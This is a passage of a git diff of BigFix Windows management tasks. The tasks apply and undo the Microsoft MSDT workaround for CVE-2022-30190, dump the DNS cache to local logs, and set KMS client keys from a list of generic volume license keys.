+waithidden regedit /s "wizardedit.reg"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes b/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes
index 7f1162c21..71f394ffc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Workaround - Disable the MSDT URL Protocol
-  ID       : 26935
-  Author   : CharlesC
-  Domain   : BESC
-  Imported : 2022-05-31T20:53:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Workaround - Disable the MSDT URL Protocol</Title>
-    <Description>Workaroud provided by Microsoft for CVE-2022-30190. </Description>
-    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
-    <Relevance>exists key &quot;HKEY_CLASSES_ROOT\ms-msdt&quot; of registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
-    <CVENames>CVE-2022-30190</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 01 Jun 2022 02:39:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg export HKEY_CLASSES_ROOT\ms-msdt C:\ms-msdt_bak
-dos reg delete HKEY_CLASSES_ROOT\ms-msdt /f</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Workaround - Disable the MSDT URL Protocol
+  ID       : 26935
+  Author   : CharlesC
+  Domain   : BESC
+  Imported : 2022-05-31T20:53:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Workaround - Disable the MSDT URL Protocol</Title>
+    <Description>Workaroud provided by Microsoft for CVE-2022-30190. </Description>
+    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
+    <Relevance>exists key &quot;HKEY_CLASSES_ROOT\ms-msdt&quot; of registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
+    <CVENames>CVE-2022-30190</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Jun 2022 02:39:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg export HKEY_CLASSES_ROOT\ms-msdt C:\ms-msdt_bak
+dos reg delete HKEY_CLASSES_ROOT\ms-msdt /f</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes b/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes
index bfd4515e3..8978efbdd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Workaround Undo - Disable the MSDT URL Protocol
-  ID       : 26936
-  Author   : CharlesC
-  Domain   : BESC
-  Imported : 2022-05-31T20:54:37
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Workaround Undo - Disable the MSDT URL Protocol</Title>
-    <Description>Undo workaroud provided by Microsoft for CVE-2022-30190. </Description>
-    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
-    <Relevance>exists file &quot;C:\ms-msdt_bak&quot;</Relevance>
-    <Category>Workaround</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
-    <CVENames>CVE-2022-30190</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 01 Jun 2022 03:14:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg import C:\ms-msdt_bak
-dos del C:\ms-msdt_bak</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Workaround Undo - Disable the MSDT URL Protocol
+  ID       : 26936
+  Author   : CharlesC
+  Domain   : BESC
+  Imported : 2022-05-31T20:54:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Workaround Undo - Disable the MSDT URL Protocol</Title>
+    <Description>Undo workaroud provided by Microsoft for CVE-2022-30190. </Description>
+    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
+    <Relevance>exists file &quot;C:\ms-msdt_bak&quot;</Relevance>
+    <Category>Workaround</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
+    <CVENames>CVE-2022-30190</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Jun 2022 03:14:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg import C:\ms-msdt_bak
+dos del C:\ms-msdt_bak</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes
index 84667cdda..4c7fc37ee 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : dump DNS Cache - Windows
-  ID       : 21333
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-08-23T13:42:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>dump DNS Cache - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
-
-waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
-
-delete __createfile
-
-createfile until END_OF_FILE
-{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
-END_OF_FILE
-
-delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
-
-copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : dump DNS Cache - Windows
+  ID       : 21333
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-23T13:42:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>dump DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
+
+waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
+
+delete __createfile
+
+createfile until END_OF_FILE
+{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
+END_OF_FILE
+
+delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
+
+copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes
index f623f6b3a..5c99a1afb 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : dump DNS Cache - Windows
-  ID       : 9281
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-03-12T14:30:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>dump DNS Cache - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
-
-waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
-
-delete __createfile
-
-createfile until END_OF_FILE
-{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
-END_OF_FILE
-
-delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
-
-copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : dump DNS Cache - Windows
+  ID       : 9281
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-12T14:30:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>dump DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
+
+waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
+
+delete __createfile
+
+createfile until END_OF_FILE
+{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
+END_OF_FILE
+
+delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
+
+copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes b/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes
index 6dc250d4d..05134a58a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : set Windows KMS key - Windows BETA
-  ID       : 21368
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-08-31T18:11:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>set Windows KMS key - Windows BETA</Title>
-    <Description><![CDATA[<P>This will only work properly with known KMSkey/OSversion combinations that are contained within the embedded relevance statements.</P>
-<P>There are definitely missing combinations which this will NOT work for.</P>
-<P>The relevance used could be expanded and adapted to work with more KMSkeys.</P>
-<P>This is meant to be taken as a policy action, applied to all computers all of the time.</P>
-<P><STRONG>Known Issue:</STRONG> the relevance that checks to see if windows is activated doesn't account for MS Office being installed, which may make this not relevant on a machine where it SHOULD be relevant</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists unique values whose(1 = it) of integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not null&quot; of wmis</Relevance>
-    <Relevance><![CDATA[exists minima whose( now - it > 1*day ) of subscribe times of sites]]></Relevance>
-    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
-    <Relevance><![CDATA[exists ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL")]]></Relevance>
-    <Relevance><![CDATA[not exists string values whose(it is contained by ( ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( (preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 